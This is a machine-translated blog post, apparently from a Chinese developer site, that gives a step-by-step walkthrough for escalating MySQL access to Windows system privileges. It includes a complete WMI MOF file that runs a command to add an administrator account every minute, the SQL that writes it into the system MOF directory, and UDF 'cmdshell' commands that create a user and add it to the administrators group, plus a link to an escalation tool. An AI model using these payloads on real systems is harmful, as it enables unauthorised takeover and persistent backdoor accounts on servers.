当前位置:网站首页>MySQL authorization method
MySQL authorization method
2022-07-28 15:01:00 【Jun moshang】
MOF
principle
Take advantage of Windows Next c:/windows/system32/wbem/mof/ In the catalog nullevt.mof file , A feature that executes at a specific time every minute .
Claim for raising rights
1. The target system is Windows(Win2000,XP,Win2003);
2. If mysql The version is greater than 5.1,udf.dll The file must be placed in mysql Installation directory lib\plugin Under the folder
notes :
The directory does not exist by default , This requires us to use webshell find MYSQL Installation directory , And create it in the installation directory lib\plugin Folder , And then udf.dll Export the file to the directory .
3. If mysql Version less than 5.1, udf.dll The file in windows server 2003 Drop on c:\windows\system32 Catalog , stay windows server 2000 Place under c:\winnt\system32 Catalog .
4. master mysql Database account , Need to be root jurisdiction .
step
1、 open c:/windows/system32/wbem/mof/
2、 Put the following code nullevt.mof file
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3、 Find a writable directory , Upload or create mof file
The format is as follows :
select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
Note that there C:\www\nullevt.mof You uploaded it mof Arbitrary path of file , But the path behind is fixed
The system will always run this code after importing .
UDF
principle
UDF To raise rights is to use MYSQL Custom function function function of , take MYSQL Account number into system system jurisdiction
step
1、 take dll The file is imported into the corresponding directory , If an import error occurs can`t open shared library error
2、 Create a custom function
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; Delete function
delete from mysql.func where name='cmdshell' Delete function
I'll use mysqlmysql The full version of Tongsha tiquan tool , You can find https://download.csdn.net/download/weixin_53549425/21345256?spm=1001.2014.3001.5501

边栏推荐
- Ability to add class @published for custom attribute wrapper types
- How to make the characters in the photos laugh? HMS core video editing service one click smile function makes people smile more naturally
- How to use the C language library function getchar ()
- 为 @CloudStorage 添加了类 @Published 的能力
- [Tanabata] Tanabata lonely little frog research edition? The final chapter of Tanabata Festival!
- Google lab usage notes
- Crawler: from entry to imprisonment (II) -- Web collector
- Chapter I Introduction
- 用 Table 在 SwiftUI 下创建表格
- Knowledge map Foundation (I) - what is knowledge map
猜你喜欢

Shell command

The 35 required questions in MySQL interview are illustrated, which is too easy to understand

Machine learning related concepts

PS how to crop photos

Redis-配置文件讲解

Getting started with scottplot tutorial: getting and displaying values at the mouse

SSH service
C # 7 methods to obtain the current path

Introduction to MITK

Chapter 3 stack, queue and array
随机推荐
MITK create module
Enumeration type
Third class exercise
VTK annotation class widget vtkborderwidget
58子站安居,经纪人营销管理平台登录接口加密逆向
Node.js+express realizes the operation of MySQL database
C callback function, interface function pointer as function parameter, function pointer as structure member
Installing MySQL on Linux
QT qlineedit, qtextedit, qplaintextedit differences
SSL socket cross platform solution libevent OpenSSL
6、 C language circular statement
企鹅一面:为什么不建议使用SELECT * ?
21、 TF coordinate transformation (I): coordinate MSG message
Qt development tips
Redis persistence
PS modify the length and width pixels and file size of photos
linux安装redis
C language: mathematical method of converting decimal system into binary system
The third pre class exercise
Keras reported an error using tensorboard: cannot stop profiling